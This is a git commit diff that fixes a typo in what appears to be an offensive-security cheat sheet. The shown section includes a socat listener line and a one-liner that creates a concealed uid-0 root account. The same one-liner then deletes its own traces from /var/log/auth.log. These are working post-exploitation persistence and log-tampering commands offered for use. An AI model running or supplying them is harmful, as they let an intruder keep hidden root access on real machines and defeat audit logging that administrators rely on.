This commit is contained in:
oXis 2014-06-19 14:32:42 +01:00
parent ba3fa53f2b
commit c269df3166

View File

@ -128,7 +128,7 @@ socat readline TCP-LISTEN:1234
```
**One line root useradd**
It create a new root user. You have to change some parameters.
It creates a new root user. You have to change some parameters.
```bash
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
```